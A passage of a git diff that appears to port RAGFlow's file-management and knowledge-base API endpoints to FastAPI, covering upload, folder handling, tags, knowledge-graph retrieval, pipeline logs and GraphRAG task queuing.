+ MAX_FILE_NUM_PER_USER = int(os.environ.get('MAX_FILE_NUM_PER_USER', 0))
+ if MAX_FILE_NUM_PER_USER > 0 and DocumentService.get_doc_count(current_user.id) >= MAX_FILE_NUM_PER_USER:
+ return get_data_error_result( message="Exceed the maximum file number of a free user!")
+
+ # split file name path
+ if not file_obj.filename:
+ file_obj_names = [pf_folder.name, file_obj.filename]
+ else:
+ full_path = '/' + file_obj.filename
+ file_obj_names = full_path.split('/')
+ file_len = len(file_obj_names)
+
+ # get folder
+ file_id_list = FileService.get_id_list_by_id(pf_id, file_obj_names, 1, [pf_id])
+ len_id_list = len(file_id_list)
+
+ # create folder
+ if file_len != len_id_list:
+ e, file = FileService.get_by_id(file_id_list[len_id_list - 1])
+ if not e:
+ return get_data_error_result(message="Folder not found!")
+ last_folder = FileService.create_folder(file, file_id_list[len_id_list - 1], file_obj_names,
+ len_id_list)
+ else:
+ e, file = FileService.get_by_id(file_id_list[len_id_list - 2])
+ if not e:
+ return get_data_error_result(message="Folder not found!")
+ last_folder = FileService.create_folder(file, file_id_list[len_id_list - 2], file_obj_names,
+ len_id_list)
+
+ # file type
+ filetype = filename_type(file_obj_names[file_len - 1])
+ location = file_obj_names[file_len - 1]
+ while STORAGE_IMPL.obj_exist(last_folder.id, location):
+ location += "_"
+ blob = await file_obj.read()
+ filename = duplicate_name(
+ FileService.query,
+ name=file_obj_names[file_len - 1],
+ parent_id=last_folder.id)
+ STORAGE_IMPL.put(last_folder.id, location, blob)
+ file = {
+ "id": get_uuid(),
+ "parent_id": last_folder.id,
+ "tenant_id": current_user.id,
+ "created_by": current_user.id,
+ "type": filetype,
+ "name": filename,
+ "location": location,
+ "size": len(blob),
+ }
+ file = FileService.insert(file)
+ file_res.append(file.to_json())
+ return get_json_result(data=file_res)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post('/create')
+async def create(
+ req: CreateFileRequest,
+ current_user = Depends(get_current_user)
+):
+ pf_id = req.parent_id
+ input_file_type = req.type
+ if not pf_id:
+ root_folder = FileService.get_root_folder(current_user.id)
+ pf_id = root_folder["id"]
+
+ try:
+ if not FileService.is_parent_folder_exist(pf_id):
+ return get_json_result(
+ data=False, message="Parent Folder Doesn't Exist!", code=settings.RetCode.OPERATING_ERROR)
+ if FileService.query(name=req.name, parent_id=pf_id):
+ return get_data_error_result(
+ message="Duplicated folder name in the same folder.")
+
+ if input_file_type == FileType.FOLDER.value:
+ file_type = FileType.FOLDER.value
+ else:
+ file_type = FileType.VIRTUAL.value
+
+ file = FileService.insert({
+ "id": get_uuid(),
+ "parent_id": pf_id,
+ "tenant_id": current_user.id,
+ "created_by": current_user.id,
+ "name": req.name,
+ "location": "",
+ "size": 0,
+ "type": file_type
+ })
+
+ return get_json_result(data=file.to_json())
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.get('/list')
+async def list_files(
+ parent_id: Optional[str] = Query(None),
+ keywords: str = Query(""),
+ page: int = Query(1),
+ page_size: int = Query(15),
+ orderby: str = Query("create_time"),
+ desc: bool = Query(True),
+ current_user = Depends(get_current_user)
+):
+ pf_id = parent_id
+
+ if not pf_id:
+ root_folder = FileService.get_root_folder(current_user.id)
+ pf_id = root_folder["id"]
+ FileService.init_knowledgebase_docs(pf_id, current_user.id)
+ try:
+ e, file = FileService.get_by_id(pf_id)
+ if not e:
+ return get_data_error_result(message="Folder not found!")
+
+ files, total = FileService.get_by_pf_id(
+ current_user.id, pf_id, page, page_size, orderby, desc, keywords)
+
+ parent_folder = FileService.get_parent_folder(pf_id)
+ if not parent_folder:
+ return get_json_result(message="File not found!")
+
+ return get_json_result(data={"total": total, "files": files, "parent_folder": parent_folder.to_json()})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.get('/root_folder')
+async def get_root_folder(current_user = Depends(get_current_user)):
+ try:
+ root_folder = FileService.get_root_folder(current_user.id)
+ return get_json_result(data={"root_folder": root_folder})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.get('/parent_folder')
+async def get_parent_folder(
+ file_id: str = Query(...),
+ current_user = Depends(get_current_user)
+):
+ try:
+ e, file = FileService.get_by_id(file_id)
+ if not e:
+ return get_data_error_result(message="Folder not found!")
+
+ parent_folder = FileService.get_parent_folder(file_id)
+ return get_json_result(data={"parent_folder": parent_folder.to_json()})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.get('/all_parent_folder')
+async def get_all_parent_folders(
+ file_id: str = Query(...),
+ current_user = Depends(get_current_user)
+):
+ try:
+ e, file = FileService.get_by_id(file_id)
+ if not e:
+ return get_data_error_result(message="Folder not found!")
+
+ parent_folders = FileService.get_all_parent_folders(file_id)
+ parent_folders_res = []
+ for parent_folder in parent_folders:
+ parent_folders_res.append(parent_folder.to_json())
+ return get_json_result(data={"parent_folders": parent_folders_res})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post('/rm')
+async def rm(
+ req: RemoveFileRequest,
+ current_user = Depends(get_current_user)
+):
+ file_ids = req.file_ids
+ try:
+ for file_id in file_ids:
+ e, file = FileService.get_by_id(file_id)
+ if not e:
+ return get_data_error_result(message="File or Folder not found!")
+ if not file.tenant_id:
+ return get_data_error_result(message="Tenant not found!")
+ if not check_file_team_permission(file, current_user.id):
+ return get_json_result(data=False, message='No authorization.', code=settings.RetCode.AUTHENTICATION_ERROR)
+ if file.source_type == FileSource.KNOWLEDGEBASE:
+ continue
+
+ if file.type == FileType.FOLDER.value:
+ file_id_list = FileService.get_all_innermost_file_ids(file_id, [])
+ for inner_file_id in file_id_list:
+ e, file = FileService.get_by_id(inner_file_id)
+ if not e:
+ return get_data_error_result(message="File not found!")
+ STORAGE_IMPL.rm(file.parent_id, file.location)
+ FileService.delete_folder_by_pf_id(current_user.id, file_id)
+ else:
+ STORAGE_IMPL.rm(file.parent_id, file.location)
+ if not FileService.delete(file):
+ return get_data_error_result(
+ message="Database error (File removal)!")
+
+ # delete file2document
+ informs = File2DocumentService.get_by_file_id(file_id)
+ for inform in informs:
+ doc_id = inform.document_id
+ e, doc = DocumentService.get_by_id(doc_id)
+ if not e:
+ return get_data_error_result(message="Document not found!")
+ tenant_id = DocumentService.get_tenant_id(doc_id)
+ if not tenant_id:
+ return get_data_error_result(message="Tenant not found!")
+ if not DocumentService.remove_document(doc, tenant_id):
+ return get_data_error_result(
+ message="Database error (Document removal)!")
+ File2DocumentService.delete_by_file_id(file_id)
+
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post('/rename')
+async def rename(
+ req: RenameFileRequest,
+ current_user = Depends(get_current_user)
+):
+ try:
+ e, file = FileService.get_by_id(req.file_id)
+ if not e:
+ return get_data_error_result(message="File not found!")
+ if not check_file_team_permission(file, current_user.id):
+ return get_json_result(data=False, message='No authorization.', code=settings.RetCode.AUTHENTICATION_ERROR)
+ if file.type != FileType.FOLDER.value \
+ and pathlib.Path(req.name.lower()).suffix != pathlib.Path(
+ file.name.lower()).suffix:
+ return get_json_result(
+ data=False,
+ message="The extension of file can't be changed",
+ code=settings.RetCode.ARGUMENT_ERROR)
+ for file in FileService.query(name=req.name, pf_id=file.parent_id):
+ if file.name == req.name:
+ return get_data_error_result(
+ message="Duplicated file name in the same folder.")
+
+ if not FileService.update_by_id(
+ req.file_id, {"name": req.name}):
+ return get_data_error_result(
+ message="Database error (File rename)!")
+
+ informs = File2DocumentService.get_by_file_id(req.file_id)
+ if informs:
+ if not DocumentService.update_by_id(
+ informs[0].document_id, {"name": req.name}):
+ return get_data_error_result(
+ message="Database error (Document rename)!")
+
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.get('/get/{file_id}')
+async def get(file_id: str, current_user = Depends(get_current_user)):
+ try:
+ e, file = FileService.get_by_id(file_id)
+ if not e:
+ return get_data_error_result(message="Document not found!")
+ if not check_file_team_permission(file, current_user.id):
+ return get_json_result(data=False, message='No authorization.', code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ blob = STORAGE_IMPL.get(file.parent_id, file.location)
+ if not blob:
+ b, n = File2DocumentService.get_storage_address(file_id=file_id)
+ blob = STORAGE_IMPL.get(b, n)
+
+ ext = re.search(r"\.([^.]+)$", file.name.lower())
+ ext = ext.group(1) if ext else None
+ if ext:
+ if file.type == FileType.VISUAL.value:
+ content_type = CONTENT_TYPE_MAP.get(ext, f"image/{ext}")
+ else:
+ content_type = CONTENT_TYPE_MAP.get(ext, f"application/{ext}")
+ else:
+ content_type = "application/octet-stream"
+
+ return StreamingResponse(
+ iter([blob]),
+ media_type=content_type,
+ headers={"Content-Disposition": f"attachment; filename={file.name}"}
+ )
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post('/mv')
+async def move(
+ req: MoveFileRequest,
+ current_user = Depends(get_current_user)
+):
+ try:
+ file_ids = req.src_file_ids
+ parent_id = req.dest_file_id
+ files = FileService.get_by_ids(file_ids)
+ files_dict = {}
+ for file in files:
+ files_dict[file.id] = file
+
+ for file_id in file_ids:
+ file = files_dict[file_id]
+ if not file:
+ return get_data_error_result(message="File or Folder not found!")
+ if not file.tenant_id:
+ return get_data_error_result(message="Tenant not found!")
+ if not check_file_team_permission(file, current_user.id):
+ return get_json_result(data=False, message='No authorization.', code=settings.RetCode.AUTHENTICATION_ERROR)
+ fe, _ = FileService.get_by_id(parent_id)
+ if not fe:
+ return get_data_error_result(message="Parent Folder not found!")
+ FileService.move_file(file_ids, parent_id)
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
diff --git a/api/apps/kb_app.py b/api/apps/kb_app.py
new file mode 100644
index 0000000..9c75dd2
--- /dev/null
+++ b/api/apps/kb_app.py
@@ -0,0 +1,831 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import logging
+from typing import Optional, List
+
+from fastapi import APIRouter, Depends, HTTPException, Query, status
+from fastapi.responses import JSONResponse
+
+from api.models.kb_models import (
+ CreateKnowledgeBaseRequest,
+ UpdateKnowledgeBaseRequest,
+ DeleteKnowledgeBaseRequest,
+ ListKnowledgeBasesRequest,
+ RemoveTagsRequest,
+ RenameTagRequest,
+ RunGraphRAGRequest,
+ RunRaptorRequest,
+ RunMindmapRequest,
+ ListPipelineLogsRequest,
+ ListPipelineDatasetLogsRequest,
+ DeletePipelineLogsRequest,
+ UnbindTaskRequest
+)
+from api.utils.api_utils import get_current_user
+
+from api.db.services import duplicate_name
+from api.db.services.document_service import DocumentService, queue_raptor_o_graphrag_tasks
+from api.db.services.file2document_service import File2DocumentService
+from api.db.services.file_service import FileService
+from api.db.services.pipeline_operation_log_service import PipelineOperationLogService
+from api.db.services.task_service import TaskService, GRAPH_RAPTOR_FAKE_DOC_ID
+from api.db.services.user_service import TenantService, UserTenantService
+from api.utils.api_utils import get_error_data_result, server_error_response, get_data_error_result, get_json_result
+from api.utils import get_uuid
+from api.db import PipelineTaskType, StatusEnum, FileSource, VALID_FILE_TYPES, VALID_TASK_STATUS
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.db_models import File
+from api import settings
+from rag.nlp import search
+from api.constants import DATASET_NAME_LIMIT
+from rag.settings import PAGERANK_FLD
+from rag.utils.storage_factory import STORAGE_IMPL
+
+# 创建 FastAPI 路由器
+router = APIRouter()
+
+
+@router.post('/create')
+async def create(
+ request: CreateKnowledgeBaseRequest,
+ current_user = Depends(get_current_user)
+):
+ dataset_name = request.name
+ if not isinstance(dataset_name, str):
+ return get_data_error_result(message="Dataset name must be string.")
+ if dataset_name.strip() == "":
+ return get_data_error_result(message="Dataset name can't be empty.")
+ if len(dataset_name.encode("utf-8")) > DATASET_NAME_LIMIT:
+ return get_data_error_result(
+ message=f"Dataset name length is {len(dataset_name)} which is larger than {DATASET_NAME_LIMIT}")
+
+ dataset_name = dataset_name.strip()
+ dataset_name = duplicate_name(
+ KnowledgebaseService.query,
+ name=dataset_name,
+ tenant_id=current_user.id,
+ status=StatusEnum.VALID.value)
+ try:
+ req = {
+ "id": get_uuid(),
+ "name": dataset_name,
+ "tenant_id": current_user.id,
+ "created_by": current_user.id,
+ "parser_id": request.parser_id or "naive",
+ "description": request.description
+ }
+ e, t = TenantService.get_by_id(current_user.id)
+ if not e:
+ return get_data_error_result(message="Tenant not found.")
+
+ # 设置 embd_id 默认值
+ if not request.embd_id:
+ req["embd_id"] = t.embd_id
+ else:
+ req["embd_id"] = request.embd_id
+
+ if request.parser_config:
+ req["parser_config"] = request.parser_config
+ else:
+ req["parser_config"] = {
+ "layout_recognize": "DeepDOC",
+ "chunk_token_num": 512,
+ "delimiter": "\n",
+ "auto_keywords": 0,
+ "auto_questions": 0,
+ "html4excel": False,
+ "topn_tags": 3,
+ "raptor": {
+ "use_raptor": True,
+ "prompt": "Please summarize the following paragraphs. Be careful with the numbers, do not make things up. Paragraphs as following:\n {cluster_content}\nThe above is the content you need to summarize.",
+ "max_token": 256,
+ "threshold": 0.1,
+ "max_cluster": 64,
+ "random_seed": 0
+ },
+ "graphrag": {
+ "use_graphrag": True,
+ "entity_types": [
+ "organization",
+ "person",
+ "geo",
+ "event",
+ "category"
+ ],
+ "method": "light"
+ }
+ }
+ if not KnowledgebaseService.save(**req):
+ return get_data_error_result()
+ return get_json_result(data={"kb_id": req["id"]})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post('/update')
+async def update(
+ request: UpdateKnowledgeBaseRequest,
+ current_user = Depends(get_current_user)
+):
+ if not isinstance(request.name, str):
+ return get_data_error_result(message="Dataset name must be string.")
+ if request.name.strip() == "":
+ return get_data_error_result(message="Dataset name can't be empty.")
+ if len(request.name.encode("utf-8")) > DATASET_NAME_LIMIT:
+ return get_data_error_result(
+ message=f"Dataset name length is {len(request.name)} which is large than {DATASET_NAME_LIMIT}")
+ name = request.name.strip()
+
+ if not KnowledgebaseService.accessible4deletion(request.kb_id, current_user.id):
+ return get_json_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR
+ )
+ try:
+ if not KnowledgebaseService.query(
+ created_by=current_user.id, id=request.kb_id):
+ return get_json_result(
+ data=False, message='Only owner of knowledgebase authorized for this operation.',
+ code=settings.RetCode.OPERATING_ERROR)
+
+ e, kb = KnowledgebaseService.get_by_id(request.kb_id)
+ if not e:
+ return get_data_error_result(
+ message="Can't find this knowledgebase!")
+
+ if name.lower() != kb.name.lower() \
+ and len(
+ KnowledgebaseService.query(name=name, tenant_id=current_user.id, status=StatusEnum.VALID.value)) >= 1:
+ return get_data_error_result(
+ message="Duplicated knowledgebase name.")
+
+ update_data = {
+ "name": name,
+ "pagerank": request.pagerank
+ }
+ if not KnowledgebaseService.update_by_id(kb.id, update_data):
+ return get_data_error_result()
+
+ if kb.pagerank != request.pagerank:
+ if request.pagerank > 0:
+ settings.docStoreConn.update({"kb_id": kb.id}, {PAGERANK_FLD: request.pagerank},
+ search.index_name(kb.tenant_id), kb.id)
+ else:
+ # Elasticsearch requires PAGERANK_FLD be non-zero!
+ settings.docStoreConn.update({"exists": PAGERANK_FLD}, {"remove": PAGERANK_FLD},
+ search.index_name(kb.tenant_id), kb.id)
+
+ e, kb = KnowledgebaseService.get_by_id(kb.id)
+ if not e:
+ return get_data_error_result(
+ message="Database error (Knowledgebase rename)!")
+ kb = kb.to_dict()
+ kb.update(update_data)
+
+ return get_json_result(data=kb)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.get('/detail')
+async def detail(
+ kb_id: str = Query(..., description="知识库ID"),
+ current_user = Depends(get_current_user)
+):
+ try:
+ tenants = UserTenantService.query(user_id=current_user.id)
+ for tenant in tenants:
+ if KnowledgebaseService.query(
+ tenant_id=tenant.tenant_id, id=kb_id):
+ break
+ else:
+ return get_json_result(
+ data=False, message='Only owner of knowledgebase authorized for this operation.',
+ code=settings.RetCode.OPERATING_ERROR)
+ kb = KnowledgebaseService.get_detail(kb_id)
+ if not kb:
+ return get_data_error_result(
+ message="Can't find this knowledgebase!")
+ kb["size"] = DocumentService.get_total_size_by_kb_id(kb_id=kb["id"],keywords="", run_status=[], types=[])
+ return get_json_result(data=kb)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post('/list')
+async def list_kbs(
+ request: ListKnowledgeBasesRequest,
+ keywords: str = Query("", description="关键词"),
+ page: int = Query(0, description="页码"),
+ page_size: int = Query(0, description="每页大小"),
+ parser_id: Optional[str] = Query(None, description="解析器ID"),
+ orderby: str = Query("create_time", description="排序字段"),
+ desc: bool = Query(True, description="是否降序"),
+ current_user = Depends(get_current_user)
+):
+ page_number = page
+ items_per_page = page_size
+ owner_ids = request.owner_ids
+ try:
+ if not owner_ids:
+ tenants = TenantService.get_joined_tenants_by_user_id(current_user.id)
+ tenants = [m["tenant_id"] for m in tenants]
+ kbs, total = KnowledgebaseService.get_by_tenant_ids(
+ tenants, current_user.id, page_number,
+ items_per_page, orderby, desc, keywords, parser_id)
+ else:
+ tenants = owner_ids
+ kbs, total = KnowledgebaseService.get_by_tenant_ids(
+ tenants, current_user.id, 0,
+ 0, orderby, desc, keywords, parser_id)
+ kbs = [kb for kb in kbs if kb["tenant_id"] in tenants]
+ total = len(kbs)
+ if page_number and items_per_page:
+ kbs = kbs[(page_number-1)*items_per_page:page_number*items_per_page]
+ return get_json_result(data={"kbs": kbs, "total": total})
+ except Exception as e:
+ return server_error_response(e)
+
+@router.post('/rm')
+async def rm(
+ request: DeleteKnowledgeBaseRequest,
+ current_user = Depends(get_current_user)
+):
+ if not KnowledgebaseService.accessible4deletion(request.kb_id, current_user.id):
+ return get_json_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR
+ )
+ try:
+ kbs = KnowledgebaseService.query(
+ created_by=current_user.id, id=request.kb_id)
+ if not kbs:
+ return get_json_result(
+ data=False, message='Only owner of knowledgebase authorized for this operation.',
+ code=settings.RetCode.OPERATING_ERROR)
+
+ for doc in DocumentService.query(kb_id=request.kb_id):
+ if not DocumentService.remove_document(doc, kbs[0].tenant_id):
+ return get_data_error_result(
+ message="Database error (Document removal)!")
+ f2d = File2DocumentService.get_by_document_id(doc.id)
+ if f2d:
+ FileService.filter_delete([File.source_type == FileSource.KNOWLEDGEBASE, File.id == f2d[0].file_id])
+ File2DocumentService.delete_by_document_id(doc.id)
+ FileService.filter_delete(
+ [File.source_type == FileSource.KNOWLEDGEBASE, File.type == "folder", File.name == kbs[0].name])
+ if not KnowledgebaseService.delete_by_id(request.kb_id):
+ return get_data_error_result(
+ message="Database error (Knowledgebase removal)!")
+ for kb in kbs:
+ settings.docStoreConn.delete({"kb_id": kb.id}, search.index_name(kb.tenant_id), kb.id)
+ settings.docStoreConn.deleteIdx(search.index_name(kb.tenant_id), kb.id)
+ if hasattr(STORAGE_IMPL, 'remove_bucket'):
+ STORAGE_IMPL.remove_bucket(kb.id)
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.get('/{kb_id}/tags')
+async def list_tags(
+ kb_id: str,
+ current_user = Depends(get_current_user)
+):
+ if not KnowledgebaseService.accessible(kb_id, current_user.id):
+ return get_json_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR
+ )
+
+ tenants = UserTenantService.get_tenants_by_user_id(current_user.id)
+ tags = []
+ for tenant in tenants:
+ tags += settings.retrievaler.all_tags(tenant["tenant_id"], [kb_id])
+ return get_json_result(data=tags)
+
+
+@router.get('/tags')
+async def list_tags_from_kbs(
+ kb_ids: str = Query(..., description="知识库ID列表,用逗号分隔"),
+ current_user = Depends(get_current_user)
+):
+ kb_ids = kb_ids.split(",")
+ for kb_id in kb_ids:
+ if not KnowledgebaseService.accessible(kb_id, current_user.id):
+ return get_json_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR
+ )
+
+ tenants = UserTenantService.get_tenants_by_user_id(current_user.id)
+ tags = []
+ for tenant in tenants:
+ tags += settings.retrievaler.all_tags(tenant["tenant_id"], kb_ids)
+ return get_json_result(data=tags)
+
+
+@router.post('/{kb_id}/rm_tags')
+async def rm_tags(
+ kb_id: str,
+ request: RemoveTagsRequest,
+ current_user = Depends(get_current_user)
+):
+ if not KnowledgebaseService.accessible(kb_id, current_user.id):
+ return get_json_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR
+ )
+ e, kb = KnowledgebaseService.get_by_id(kb_id)
+
+ for t in request.tags:
+ settings.docStoreConn.update({"tag_kwd": t, "kb_id": [kb_id]},
+ {"remove": {"tag_kwd": t}},
+ search.index_name(kb.tenant_id),
+ kb_id)
+ return get_json_result(data=True)
+
+
+@router.post('/{kb_id}/rename_tag')
+async def rename_tags(
+ kb_id: str,
+ request: RenameTagRequest,
+ current_user = Depends(get_current_user)
+):
+ if not KnowledgebaseService.accessible(kb_id, current_user.id):
+ return get_json_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR
+ )
+ e, kb = KnowledgebaseService.get_by_id(kb_id)
+
+ settings.docStoreConn.update({"tag_kwd": request.from_tag, "kb_id": [kb_id]},
+ {"remove": {"tag_kwd": request.from_tag.strip()}, "add": {"tag_kwd": request.to_tag}},
+ search.index_name(kb.tenant_id),
+ kb_id)
+ return get_json_result(data=True)
+
+
+@router.get('/{kb_id}/knowledge_graph')
+async def knowledge_graph(
+ kb_id: str,
+ current_user = Depends(get_current_user)
+):
+ if not KnowledgebaseService.accessible(kb_id, current_user.id):
+ return get_json_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR
+ )
+ _, kb = KnowledgebaseService.get_by_id(kb_id)
+ req = {
+ "kb_id": [kb_id],
+ "knowledge_graph_kwd": ["graph"]
+ }
+
+ obj = {"graph": {}, "mind_map": {}}
+ if not settings.docStoreConn.indexExist(search.index_name(kb.tenant_id), kb_id):
+ return get_json_result(data=obj)
+ sres = settings.retrievaler.search(req, search.index_name(kb.tenant_id), [kb_id])
+ if not len(sres.ids):
+ return get_json_result(data=obj)
+
+ for id in sres.ids[:1]:
+ ty = sres.field[id]["knowledge_graph_kwd"]
+ try:
+ content_json = json.loads(sres.field[id]["content_with_weight"])
+ except Exception:
+ continue
+
+ obj[ty] = content_json
+
+ if "nodes" in obj["graph"]:
+ obj["graph"]["nodes"] = sorted(obj["graph"]["nodes"], key=lambda x: x.get("pagerank", 0), reverse=True)[:256]
+ if "edges" in obj["graph"]:
+ node_id_set = { o["id"] for o in obj["graph"]["nodes"] }
+ filtered_edges = [o for o in obj["graph"]["edges"] if o["source"] != o["target"] and o["source"] in node_id_set and o["target"] in node_id_set]
+ obj["graph"]["edges"] = sorted(filtered_edges, key=lambda x: x.get("weight", 0), reverse=True)[:128]
+ return get_json_result(data=obj)
+
+
+@router.delete('/{kb_id}/knowledge_graph')
+async def delete_knowledge_graph(
+ kb_id: str,
+ current_user = Depends(get_current_user)
+):
+ if not KnowledgebaseService.accessible(kb_id, current_user.id):
+ return get_json_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR
+ )
+ _, kb = KnowledgebaseService.get_by_id(kb_id)
+ settings.docStoreConn.delete({"knowledge_graph_kwd": ["graph", "subgraph", "entity", "relation"]}, search.index_name(kb.tenant_id), kb_id)
+
+ return get_json_result(data=True)
+
+
+@router.get("/get_meta")
+async def get_meta(
+ kb_ids: str = Query(..., description="知识库ID列表,用逗号分隔"),
+ current_user = Depends(get_current_user)
+):
+ kb_ids = kb_ids.split(",")
+ for kb_id in kb_ids:
+ if not KnowledgebaseService.accessible(kb_id, current_user.id):
+ return get_json_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR
+ )
+ return get_json_result(data=DocumentService.get_meta_by_kbs(kb_ids))
+
+
+@router.get("/basic_info")
+async def get_basic_info(
+ kb_id: str = Query(..., description="知识库ID"),
+ current_user = Depends(get_current_user)
+):
+ if not KnowledgebaseService.accessible(kb_id, current_user.id):
+ return get_json_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR
+ )
+
+ basic_info = DocumentService.knowledgebase_basic_info(kb_id)
+
+ return get_json_result(data=basic_info)
+
+
+@router.post("/list_pipeline_logs")
+async def list_pipeline_logs(
+ request: ListPipelineLogsRequest,
+ kb_id: str = Query(..., description="知识库ID"),
+ keywords: str = Query("", description="关键词"),
+ page: int = Query(0, description="页码"),
+ page_size: int = Query(0, description="每页大小"),
+ orderby: str = Query("create_time", description="排序字段"),
+ desc: bool = Query(True, description="是否降序"),
+ create_date_from: str = Query("", description="创建日期开始"),
+ create_date_to: str = Query("", description="创建日期结束"),
+ current_user = Depends(get_current_user)
+):
+ if not kb_id:
+ return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR)
+
+ page_number = page
+ items_per_page = page_size
+
+ if create_date_to > create_date_from:
+ return get_data_error_result(message="Create data filter is abnormal.")
+
+ operation_status = request.operation_status
+ if operation_status:
+ invalid_status = {s for s in operation_status if s not in VALID_TASK_STATUS}
+ if invalid_status:
+ return get_data_error_result(message=f"Invalid filter operation_status status conditions: {', '.join(invalid_status)}")
+
+ types = request.types
+ if types:
+ invalid_types = {t for t in types if t not in VALID_FILE_TYPES}
+ if invalid_types:
+ return get_data_error_result(message=f"Invalid filter conditions: {', '.join(invalid_types)} type{'s' if len(invalid_types) > 1 else ''}")
+
+ suffix = request.suffix
+
+ try:
+ logs, tol = PipelineOperationLogService.get_file_logs_by_kb_id(kb_id, page_number, items_per_page, orderby, desc, keywords, operation_status, types, suffix, create_date_from, create_date_to)
+ return get_json_result(data={"total": tol, "logs": logs})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post("/list_pipeline_dataset_logs")
+async def list_pipeline_dataset_logs(
+ request: ListPipelineDatasetLogsRequest,
+ kb_id: str = Query(..., description="知识库ID"),
+ page: int = Query(0, description="页码"),
+ page_size: int = Query(0, description="每页大小"),
+ orderby: str = Query("create_time", description="排序字段"),
+ desc: bool = Query(True, description="是否降序"),
+ create_date_from: str = Query("", description="创建日期开始"),
+ create_date_to: str = Query("", description="创建日期结束"),
+ current_user = Depends(get_current_user)
+):
+ if not kb_id:
+ return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR)
+
+ page_number = page
+ items_per_page = page_size
+
+ if create_date_to > create_date_from:
+ return get_data_error_result(message="Create data filter is abnormal.")
+
+ operation_status = request.operation_status
+ if operation_status:
+ invalid_status = {s for s in operation_status if s not in VALID_TASK_STATUS}
+ if invalid_status:
+ return get_data_error_result(message=f"Invalid filter operation_status status conditions: {', '.join(invalid_status)}")
+
+ try:
+ logs, tol = PipelineOperationLogService.get_dataset_logs_by_kb_id(kb_id, page_number, items_per_page, orderby, desc, operation_status, create_date_from, create_date_to)
+ return get_json_result(data={"total": tol, "logs": logs})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post("/delete_pipeline_logs")
+async def delete_pipeline_logs(
+ request: DeletePipelineLogsRequest,
+ kb_id: str = Query(..., description="知识库ID"),
+ current_user = Depends(get_current_user)
+):
+ if not kb_id:
+ return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR)
+
+ log_ids = request.log_ids
+
+ PipelineOperationLogService.delete_by_ids(log_ids)
+
+ return get_json_result(data=True)
+
+
+@router.get("/pipeline_log_detail")
+async def pipeline_log_detail(
+ log_id: str = Query(..., description="日志ID"),
+ current_user = Depends(get_current_user)
+):
+ if not log_id:
+ return get_json_result(data=False, message='Lack of "Pipeline log ID"', code=settings.RetCode.ARGUMENT_ERROR)
+
+ ok, log = PipelineOperationLogService.get_by_id(log_id)
+ if not ok:
+ return get_data_error_result(message="Invalid pipeline log ID")
+
+ return get_json_result(data=log.to_dict())
+
+
+@router.post("/run_graphrag")
+async def run_graphrag(
+ request: RunGraphRAGRequest,
+ current_user = Depends(get_current_user)
+):
+ kb_id = request.kb_id
+ if not kb_id:
+ return get_error_data_result(message='Lack of "KB ID"')
+
+ ok, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not ok:
+ return get_error_data_result(message="Invalid Knowledgebase ID")
+
+ task_id = kb.graphrag_task_id
+ if task_id:
+ ok, task = TaskService.get_by_id(task_id)
+ if not ok:
+ logging.warning(f"A valid GraphRAG task id is expected for kb {kb_id}")
+
+ if task and task.progress not in [-1, 1]:
+ return get_error_data_result(message=f"Task {task_id} in progress with status {task.progress}. A Graph Task is already running.")
+
+ documents, _ = DocumentService.get_by_kb_id(
+ kb_id=kb_id,
+ page_number=0,
+ items_per_page=0,
+ orderby="create_time",
+ desc=False,
+ keywords="",
+ run_status=[],
+ types=[],
+ suffix=[],
+ )
+ if not documents:
+ return get_error_data_result(message=f"No documents in Knowledgebase {kb_id}")
+
+ sample_document = documents[0]
+ document_ids = [document["id"] for document in documents]
+
+ task_id = queue_raptor_o_graphrag_tasks(doc=sample_document, ty="graphrag", priority=0, fake_doc_id=GRAPH_RAPTOR_FAKE_DOC_ID, doc_ids=list(document_ids))
+
+ if not KnowledgebaseService.update_by_id(kb.id, {"graphrag_task_id": task_id}):
+ logging.warning(f"Cannot save graphrag_task_id for kb {kb_id}")
+
